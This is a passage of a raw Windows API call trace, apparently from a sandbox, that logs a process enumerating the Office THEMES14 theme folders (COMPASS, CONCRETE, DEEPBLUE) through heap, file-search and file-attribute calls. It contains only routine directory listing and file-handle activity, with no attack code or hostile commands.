cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb3b0 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f73d8 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.088] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.088] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb3d0 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f74e0 [0058.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb3f0 [0058.089] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f75e8 [0058.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.089] GetLastError () returned 0x12 [0058.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.089] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.INF", cAlternateFileName="")) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x50d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.089] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x505f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.089] GetLastError () returned 0x12 [0058.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0058.090] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0058.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.090] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0058.090] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f8458 [0058.090] DeviceIoControl (in: hDevice=0x160, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f8458, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f8458, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f8458) returned 1 [0058.090] NtClose (Handle=0x160) returned 0x0 [0058.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.090] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f48f0 [0058.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0058.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb410 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f76f0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb430 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f77f8 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eb450 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f7900 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9f2990 [0058.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f7a08 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.092] GetLastError () returned 0x12 [0058.092] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.092] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.INF", cAlternateFileName="")) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x507, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0058.092] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6fb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0058.092] GetLastError () returned 0x12 [0058.092] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f48f0) returned 1 [0058.092] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0058.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f47e8) returned 1 [0058.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.093] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0058.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0058.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0058.128] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0058.128] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f8458 [0058.129] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9f8458, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9f8458, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f8458) returned 1 [0058.129] NtClose (Handle=0x16c) returned 0x0 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9f3a80) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0058.129] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0058.129] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f47e8 [0058.129] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0058.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.129] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 